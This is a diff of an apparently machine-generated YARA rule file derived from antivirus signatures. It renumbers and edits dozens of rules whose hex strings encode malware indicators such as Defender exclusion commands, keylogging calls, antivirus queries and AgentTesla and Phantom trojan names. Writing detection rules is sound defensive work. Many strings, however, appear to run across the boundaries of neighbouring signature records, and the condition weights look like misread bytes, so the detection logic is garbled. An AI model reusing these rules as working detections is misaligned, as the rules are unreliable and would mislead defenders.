"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 05 00 21 " @@ -362607,7 +385281,7 @@ rule _InfrastructureShared_27817{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*16226+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10) >=11 } -rule _InfrastructureShared_27818{ +rule _InfrastructureShared_29556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -362618,7 +385292,7 @@ rule _InfrastructureShared_27818{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25449) >=30 } -rule _InfrastructureShared_27819{ +rule _InfrastructureShared_29557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -362628,7 +385302,7 @@ rule _InfrastructureShared_27819{ ((#a_01_0 & 1)*16675) >=200 } -rule _InfrastructureShared_27820{ +rule _InfrastructureShared_29558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -362638,7 +385312,7 @@ rule _InfrastructureShared_27820{ ((#a_01_0 & 1)*20515) >=1 } -rule _InfrastructureShared_27821{ +rule _InfrastructureShared_29559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -362650,7 +385324,7 @@ rule _InfrastructureShared_27821{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*21084+(#a_01_2 & 1)*13166) >=2 } -rule _InfrastructureShared_27822{ +rule _InfrastructureShared_29560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -362664,7 +385338,7 @@ rule _InfrastructureShared_27822{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30318+(#a_01_2 & 1)*26967+(#a_01_3 & 1)*25960+(#a_01_4 & 1)*25973) >=5 } -rule _InfrastructureShared_27823{ +rule _InfrastructureShared_29561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -362678,7 +385352,7 @@ rule _InfrastructureShared_27823{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30305+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*28261+(#a_01_4 & 1)*29550) >=5 } -rule _InfrastructureShared_27824{ +rule _InfrastructureShared_29562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -362692,7 +385366,7 @@ rule _InfrastructureShared_27824{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26982+(#a_01_2 & 1)*25956+(#a_01_3 & 1)*33+(#a_01_4 & 1)*30309) >=5 } -rule _InfrastructureShared_27825{ +rule _InfrastructureShared_29563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " @@ -362705,7 +385379,7 @@ rule _InfrastructureShared_27825{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*102+(#a_01_2 & 1)*21325+(#a_01_3 & 1)*1) >=6 } -rule _InfrastructureShared_27826{ +rule _InfrastructureShared_29564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -362721,7 +385395,7 @@ rule _InfrastructureShared_27826{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24946+(#a_01_3 & 1)*120+(#a_01_4 & 1)*116+(#a_01_6 & 1)*101+(#a_01_7 & 1)*24933+(#a_01_8 & 1)*29268) >=9 } -rule _InfrastructureShared_27827{ +rule _InfrastructureShared_29565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 04 00 21 " @@ -362733,7 +385407,7 @@ rule _InfrastructureShared_27827{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*82+(#a_01_3 & 1)*1) >=11 } -rule _InfrastructureShared_27828{ +rule _InfrastructureShared_29566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -362743,7 +385417,7 @@ rule _InfrastructureShared_27828{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27829{ +rule _InfrastructureShared_29567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -362753,7 +385427,7 @@ rule _InfrastructureShared_27829{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27830{ +rule _InfrastructureShared_29568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -362763,7 +385437,7 @@ rule _InfrastructureShared_27830{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27831{ +rule _InfrastructureShared_29569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -362773,7 +385447,7 @@ rule _InfrastructureShared_27831{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27832{ +rule _InfrastructureShared_29570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -362784,7 +385458,7 @@ rule _InfrastructureShared_27832{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*40) >=2 } -rule _InfrastructureShared_27833{ +rule _InfrastructureShared_29571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -362796,7 +385470,7 @@ rule _InfrastructureShared_27833{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-14756+(#a_01_2 & 1)*11892) >=2 } -rule _InfrastructureShared_27834{ +rule _InfrastructureShared_29572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -362809,7 +385483,7 @@ rule _InfrastructureShared_27834{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*23655+(#a_01_2 & 1)*19816+(#a_01_3 & 1)*21841) >=4 } -rule _InfrastructureShared_27835{ +rule _InfrastructureShared_29573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -362821,7 +385495,7 @@ rule _InfrastructureShared_27835{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*24904+(#a_01_2 & 1)*26223) >=5 } -rule _InfrastructureShared_27836{ +rule _InfrastructureShared_29574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -362833,7 +385507,7 @@ rule _InfrastructureShared_27836{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17225+(#a_01_2 & 1)*46) >=6 } -rule _InfrastructureShared_27837{ +rule _InfrastructureShared_29575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 05 00 21 " @@ -362846,7 +385520,7 @@ rule _InfrastructureShared_27837{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*96+(#a_01_3 & 1)*16645+(#a_01_4 & 1)*1) >=10 } -rule _InfrastructureShared_27838{ +rule _InfrastructureShared_29576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -362866,7 +385540,7 @@ rule _InfrastructureShared_27838{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27491+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0+(#a_01_4 & 1)*65+(#a_01_5 & 1)*28265+(#a_01_6 & 1)*29557+(#a_01_7 & 1)*12084+(#a_01_8 & 1)*3840+(#a_01_9 & 1)*100+(#a_01_10 & 1)*87) >=11 } -rule _InfrastructureShared_27839{ +rule _InfrastructureShared_29577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -362878,7 +385552,7 @@ rule _InfrastructureShared_27839{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_27840{ +rule _InfrastructureShared_29578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -362890,7 +385564,7 @@ rule _InfrastructureShared_27840{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*50+(#a_01_2 & 1)*26967) >=3 } -rule _InfrastructureShared_27841{ +rule _InfrastructureShared_29579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -362902,7 +385576,7 @@ rule _InfrastructureShared_27841{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28001+(#a_01_2 & 1)*28265) >=3 } -rule _InfrastructureShared_27842{ +rule _InfrastructureShared_29580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -362915,7 +385589,7 @@ rule _InfrastructureShared_27842{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28487+(#a_01_2 & 1)*14962+(#a_01_4 & 1)*85) >=3 } -rule _InfrastructureShared_27843{ +rule _InfrastructureShared_29581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -362927,19 +385601,32 @@ rule _InfrastructureShared_27843{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*116+(#a_01_3 & 1)*11885) >=4 } -rule _InfrastructureShared_27844{ +rule _InfrastructureShared_29582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " strings : $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 68 61 6e 74 6f 6d 2e 41 21 64 68 61 00 01 00 2e 68 00 74 00 74 00 70 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 63 00 6f 00 6d } //21539 - $a_01_2 = {00 64 00 01 00 08 5c 50 68 61 6e 74 6f 6d 01 00 1c 4d 44 35 49 6e 69 74 00 4d 44 35 55 70 64 61 74 65 00 00 00 4d 44 35 46 69 6e 61 6c 01 00 1e 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 00 00 61 a5 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f } //97 - $a_01_3 = {6f 64 2e 41 00 01 00 0b 6b 65 79 62 64 5f 65 76 65 6e 74 01 00 08 0d 00 00 00 40 50 6a f0 01 00 28 6a 00 6a 00 6a 00 6a 12 ff d6 6a 00 6a 00 6a 00 6a 1b ff d6 6a 00 6a 02 6a 00 6a 1b ff d6 6a 00 6a 02 6a 00 6a 12 ff d6 01 00 0c 6b 65 79 62 64 5f 65 76 65 6e 74 00 01 00 08 83 c0 03 13 cb 8d 78 d8 01 00 20 98 12 00 00 98 12 00 00 05 } //29255 + $a_01_2 = {00 64 00 01 00 08 5c 50 68 61 6e 74 6f 6d 01 00 1c 4d 44 35 49 6e 69 74 00 4d 44 35 55 70 64 61 74 65 00 00 00 4d 44 35 46 69 6e 61 6c 01 00 1e 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 00 00 61 a5 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a } //97 + $a_01_3 = {61 6c 7a 2e 43 21 4d 54 42 00 01 00 1b 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 01 00 16 4d 00 61 00 63 00 68 00 69 00 6e 00 65 00 47 00 75 00 69 00 64 00 01 00 0e 57 00 4d 00 49 00 2e 00 64 00 6c 00 6c 00 01 00 0c 3a 00 33 00 30 00 33 00 30 00 33 00 01 00 22 69 } //17235 condition: - ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*97+(#a_01_3 & 1)*29255) >=4 + ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*97+(#a_01_3 & 1)*17235) >=4 } -rule _InfrastructureShared_27845{ +rule _InfrastructureShared_29583{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 43 21 4d 54 42 00 01 00 1b 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 01 00 16 4d 00 61 00 63 00 68 } //21539 + $a_01_2 = {00 47 00 75 00 69 00 64 00 01 00 0e 57 00 4d 00 49 00 2e 00 64 00 6c 00 6c 00 01 00 0c 3a 00 33 00 30 00 33 00 30 00 33 00 01 00 22 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 00 00 61 a5 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 45 78 70 6c 6f } //110 + $a_01_3 = {57 69 6e 33 32 2f 47 72 6f 6f 64 2e 41 00 01 00 0b 6b 65 79 62 64 5f 65 76 65 6e 74 01 00 08 0d 00 00 00 40 50 6a f0 01 00 28 6a 00 6a 00 6a 00 6a 12 ff d6 6a 00 6a 00 6a 00 } //29801 + $a_01_4 = {d6 6a 00 6a 02 6a 00 6a 1b ff d6 6a 00 6a 02 6a 00 6a 12 ff d6 01 00 0c 6b 65 79 62 64 5f 65 76 65 6e 74 00 01 00 08 83 c0 03 13 cb 8d 78 d8 01 00 20 98 12 00 00 98 12 00 00 05 13 00 00 3a 13 00 00 d9 13 00 00 0d 14 00 00 71 14 00 00 71 14 00 00 00 00 61 a5 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 38 32 21 4d 54 42 00 01 00 06 46 54 5f 46 54 31 01 00 06 46 54 5f 46 54 32 01 00 0e 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0f 67 65 74 5f 50 61 72 61 6d 58 41 72 72 61 79 01 00 0d 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 07 47 65 74 54 79 70 65 01 00 0f 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 61 a6 } //7018 + condition: + ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*110+(#a_01_3 & 1)*29801+(#a_01_4 & 1)*7018) >=5 + +} +rule _InfrastructureShared_29584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -362953,7 +385640,7 @@ rule _InfrastructureShared_27845{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-229+(#a_01_2 & 1)*25970+(#a_01_4 & 1)*4874+(#a_01_5 & 1)*22550) >=5 } -rule _InfrastructureShared_27846{ +rule _InfrastructureShared_29585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -362969,7 +385656,7 @@ rule _InfrastructureShared_27846{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29298+(#a_01_2 & 1)*17967+(#a_01_3 & 1)*0+(#a_01_4 & 1)*26980+(#a_01_5 & 1)*29268+(#a_01_7 & 1)*21267) >=8 } -rule _InfrastructureShared_27847{ +rule _InfrastructureShared_29586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -362979,7 +385666,7 @@ rule _InfrastructureShared_27847{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27848{ +rule _InfrastructureShared_29587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 05 00 21 " @@ -362993,7 +385680,7 @@ rule _InfrastructureShared_27848{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26956+(#a_01_2 & 1)*28787+(#a_01_3 & 1)*24900+(#a_01_4 & 1)*101) >=1 } -rule _InfrastructureShared_27849{ +rule _InfrastructureShared_29588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 02 00 06 00 21 " @@ -363007,7 +385694,7 @@ rule _InfrastructureShared_27849{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28784+(#a_01_2 & 1)*8448+(#a_01_4 & 1)*112+(#a_01_5 & 1)*20339) >=2 } -rule _InfrastructureShared_27850{ +rule _InfrastructureShared_29589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -363019,7 +385706,7 @@ rule _InfrastructureShared_27850{ ((#a_01_0 & 1)*16675+(#a_01_3 & 1)*101+(#a_01_4 & 1)*28500) >=5 } -rule _InfrastructureShared_27851{ +rule _InfrastructureShared_29590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -363034,7 +385721,7 @@ rule _InfrastructureShared_27851{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29264+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_27852{ +rule _InfrastructureShared_29591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -363051,7 +385738,7 @@ rule _InfrastructureShared_27852{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*26473+(#a_01_2 & 1)*30319+(#a_01_3 & 1)*11892+(#a_01_4 & 1)*22851+(#a_01_5 & 1)*14958+(#a_01_6 & 1)*9473+(#a_01_7 & 1)*28138) >=8 } -rule _InfrastructureShared_27853{ +rule _InfrastructureShared_29592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1b 00 1a 00 05 00 21 " @@ -363065,7 +385752,7 @@ rule _InfrastructureShared_27853{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24171+(#a_01_2 & 1)*21294+(#a_01_3 & 1)*23830+(#a_01_4 & 1)*23523) >=26 } -rule _InfrastructureShared_27854{ +rule _InfrastructureShared_29593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -363075,7 +385762,7 @@ rule _InfrastructureShared_27854{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27855{ +rule _InfrastructureShared_29594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -363085,7 +385772,7 @@ rule _InfrastructureShared_27855{ ((#a_01_0 & 1)*20515) >=1 } -rule _InfrastructureShared_27856{ +rule _InfrastructureShared_29595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 06 00 21 " @@ -363099,7 +385786,7 @@ rule _InfrastructureShared_27856{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27748+(#a_01_2 & 1)*12082+(#a_01_3 & 1)*26998+(#a_01_4 & 1)*17744) >=1 } -rule _InfrastructureShared_27857{ +rule _InfrastructureShared_29596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -363112,7 +385799,7 @@ rule _InfrastructureShared_27857{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30322+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=2 } -rule _InfrastructureShared_27858{ +rule _InfrastructureShared_29597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -363123,7 +385810,7 @@ rule _InfrastructureShared_27858{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*116) >=3 } -rule _InfrastructureShared_27859{ +rule _InfrastructureShared_29598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -363135,7 +385822,7 @@ rule _InfrastructureShared_27859{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*28448+(#a_01_2 & 1)*28532) >=3 } -rule _InfrastructureShared_27860{ +rule _InfrastructureShared_29599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -363152,7 +385839,7 @@ rule _InfrastructureShared_27860{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30575+(#a_01_2 & 1)*25959+(#a_01_3 & 1)*28515+(#a_01_4 & 1)*12609+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*0) >=8 } -rule _InfrastructureShared_27861{ +rule _InfrastructureShared_29600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -363169,7 +385856,7 @@ rule _InfrastructureShared_27861{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_01_2 & 1)*10+(#a_01_3 & 1)*27247+(#a_01_4 & 1)*28537+(#a_01_5 & 1)*24931+(#a_01_6 & 1)*28773+(#a_01_8 & 1)*32) >=9 } -rule _InfrastructureShared_27862{ +rule _InfrastructureShared_29601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -363188,7 +385875,7 @@ rule _InfrastructureShared_27862{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*0+(#a_01_3 & 1)*16698+(#a_01_4 & 1)*12854+(#a_01_5 & 1)*26996+(#a_01_6 & 1)*65+(#a_01_7 & 1)*29301+(#a_01_8 & 1)*0+(#a_01_9 & 1)*27747) >=10 } -rule _InfrastructureShared_27863{ +rule _InfrastructureShared_29602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 03 00 21 " @@ -363200,7 +385887,7 @@ rule _InfrastructureShared_27863{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13633+(#a_01_2 & 1)*13357) >=11 } -rule _InfrastructureShared_27864{ +rule _InfrastructureShared_29603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -363210,7 +385897,7 @@ rule _InfrastructureShared_27864{ ((#a_01_0 & 1)*17699) >=20 } -rule _InfrastructureShared_27865{ +rule _InfrastructureShared_29604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -363222,7 +385909,7 @@ rule _InfrastructureShared_27865{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*23854+(#a_01_2 & 1)*6144) >=30 } -rule _InfrastructureShared_27866{ +rule _InfrastructureShared_29605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -363234,7 +385921,7 @@ rule _InfrastructureShared_27866{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*102+(#a_01_3 & 1)*28530) >=30 } -rule _InfrastructureShared_27867{ +rule _InfrastructureShared_29606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1f 00 1f 00 06 00 21 " @@ -363248,7 +385935,7 @@ rule _InfrastructureShared_27867{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29482+(#a_01_3 & 1)*9481+(#a_01_4 & 1)*28488+(#a_01_5 & 1)*13166) >=31 } -rule _InfrastructureShared_27868{ +rule _InfrastructureShared_29607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,22 00 22 00 08 00 21 " @@ -363263,7 +385950,7 @@ rule _InfrastructureShared_27868{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*21264+(#a_01_3 & 1)*26967+(#a_01_4 & 1)*25637+(#a_01_5 & 1)*25710+(#a_01_7 & 1)*111) >=34 } -rule _InfrastructureShared_27869{ +rule _InfrastructureShared_29608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -363278,7 +385965,7 @@ rule _InfrastructureShared_27869{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25637+(#a_01_2 & 1)*9587+(#a_01_4 & 1)*110+(#a_01_5 & 1)*14918+(#a_01_6 & 1)*11886) >=1 } -rule _InfrastructureShared_27870{ +rule _InfrastructureShared_29609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -363289,7 +385976,7 @@ rule _InfrastructureShared_27870{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*45) >=3 } -rule _InfrastructureShared_27871{ +rule _InfrastructureShared_29610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -363304,7 +385991,7 @@ rule _InfrastructureShared_27871{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21294+(#a_01_2 & 1)*26125+(#a_01_3 & 1)*26988+(#a_01_4 & 1)*14637+(#a_01_5 & 1)*0) >=3 } -rule _InfrastructureShared_27872{ +rule _InfrastructureShared_29611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -363319,7 +386006,7 @@ rule _InfrastructureShared_27872{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28793+(#a_01_2 & 1)*9472+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_27873{ +rule _InfrastructureShared_29612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -363332,7 +386019,7 @@ rule _InfrastructureShared_27873{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_27874{ +rule _InfrastructureShared_29613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -363347,7 +386034,7 @@ rule _InfrastructureShared_27874{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0) >=5 } -rule _InfrastructureShared_27875{ +rule _InfrastructureShared_29614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -363362,7 +386049,7 @@ rule _InfrastructureShared_27875{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*22795+(#a_01_3 & 1)*12082+(#a_01_4 & 1)*26386+(#a_01_5 & 1)*24438+(#a_01_6 & 1)*114) >=7 } -rule _InfrastructureShared_27876{ +rule _InfrastructureShared_29615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -363377,7 +386064,7 @@ rule _InfrastructureShared_27876{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0) >=7 } -rule _InfrastructureShared_27877{ +rule _InfrastructureShared_29616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -363390,7 +386077,7 @@ rule _InfrastructureShared_27877{ ((#a_01_0 & 1)*21539+(#a_01_4 & 1)*77+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_27878{ +rule _InfrastructureShared_29617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 0b 00 21 " @@ -363409,7 +386096,7 @@ rule _InfrastructureShared_27878{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*16904+(#a_01_3 & 1)*24937+(#a_01_4 & 1)*30322+(#a_01_5 & 1)*25134+(#a_01_6 & 1)*11891+(#a_01_7 & 1)*-28323+(#a_01_8 & 1)*21581+(#a_01_9 & 1)*15616+(#a_01_10 & 1)*12082) >=9 } -rule _InfrastructureShared_27879{ +rule _InfrastructureShared_29618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 04 00 21 " @@ -363421,7 +386108,7 @@ rule _InfrastructureShared_27879{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28519+(#a_01_3 & 1)*29449) >=13 } -rule _InfrastructureShared_27880{ +rule _InfrastructureShared_29619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 08 00 21 " @@ -363438,7 +386125,7 @@ rule _InfrastructureShared_27880{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11898+(#a_01_2 & 1)*19529+(#a_01_3 & 1)*1024+(#a_01_4 & 1)*12338+(#a_01_5 & 1)*23621+(#a_01_6 & 1)*28499+(#a_01_7 & 1)*25455) >=21 } -rule _InfrastructureShared_27881{ +rule _InfrastructureShared_29620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -363448,7 +386135,7 @@ rule _InfrastructureShared_27881{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27882{ +rule _InfrastructureShared_29621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -363459,7 +386146,7 